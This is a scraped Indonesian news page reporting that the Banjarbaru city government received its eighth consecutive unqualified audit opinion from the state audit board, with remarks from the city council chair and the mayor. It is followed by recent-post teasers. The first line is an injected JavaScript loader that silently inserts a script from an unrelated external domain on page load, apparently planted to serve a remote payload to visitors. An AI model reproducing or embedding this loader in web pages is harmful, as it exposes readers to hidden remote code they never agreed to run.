(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Pemko Raih Opini WTP Kali ke-8, Ini Respon Ketua DPRD Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru meraih opini Wajar Tanpa Pengecualian (WTP) atas Laporan Keuangan Pemerintah Daerah tahun 2022 oleh Badan Pemeriksa Keuangan (BPK) RI Perwakilan Kalimantan Selatan.

Ketua DPRD Banjarbaru Fadliansyah mengapresiasi opini WTP yang diraih Pemko Banjarbaru 8 kali berturut-turut dari BPK RI.

“Apresiasi dan terima kasih kepada jajaran Pemko Banjarbaru dan auditor BPK yang bekerja maksimal mengaudit tata kelola keuangan,” ujar Fadliansyah usai menerima dokumen LHP.

Ketua DPRD Banjarbaru Fadliansyah bersama Wali Kota HM Aditya Mufti Ariffin menerima langsung dokumen LHP atas LKPD 2022 diserahkan Kepala Perwakilan BPK RI Kalsel Rahmadi, Rabu (10/5/2023).

Baca juga: Banjarbaru Tuan Rumah MTQ XXXIV Tingkat Provinsi Kalsel, Ini Tanggal Pelaksanaannya

Menurut Fadliansyah, opini WTP yang diberikan BPK RI menandai pengelolaan keuangan yang telah dilakukan jajaran Pemko Banjarbaru sudah baik, transparan dan telah dijalankan secara akuntabel atau bertanggung jawab.

“Harapan kita semua, pengelolaan keuangan yang sudah baik mampu mendorong perkembangan dan kemajuan Banjarbaru,” ucapnya.

Secara kelembagaan, DPRD mendorong Pemko Banjarbaru menindaklanjuti rekomendasi yang disampaikan BPK RI sehingga pengelolaan keuangan berjalan sesuai aturan dan ketentuan.

Wali Kota Aditya mengatakan, opini WTP yang diraih bukan sebagai penghargaan melainkan kewajiban yang harus dipenuhi Pemko dalam pengelolaan keuangan mengacu aturan maupun ketentuan yang berlaku.

“Opini WTP ini kewajiban bukan penghargaan, sehingga upaya menyajikan laporan pengelolaan keuangan dilakukan sebaik-baiknya mengacu kepada aturan dan ketentuan,” katanya.

Pihaknya segera menindaklanjuti rekomendasi yang disampaikan BPK sesuai batas waktu yang ditetapkan. (Kanalkalimantan.com/al)

Reporter: al
Editor: kk


Al Ghifari

Recent Posts

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

32 menit ago

Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More

2 jam ago

DED Pemasangan ATCS Tugu Adipura Masih Penyempurnaan Kajian

Kadishub Banjarbaru: Setelah Kajian Selesai, Berikutnya Perizinan BPJN dan BPTD Read More

2 jam ago

Hadiri HUT ke-44 Dekranas, Ini Kata Ketua Dekranasda HSU

KANALKALIMANTAN.COM, SOLO - Ketua Dewan Kerajinan Nasional Daerah (Dekranasda) Hulu Sungai Utara (HSU) Gusti Elvira… Read More

3 jam ago

SKPD Mengajar di SMPN 2 Banjarbaru, Wali Kota Aditya Ngajar Kelas Inspirasi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More

4 jam ago

Pastikan Kehadiran Habib Syech ke Kapuas Bersholawat 27 Juni

KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More

4 jam ago

This website uses cookies.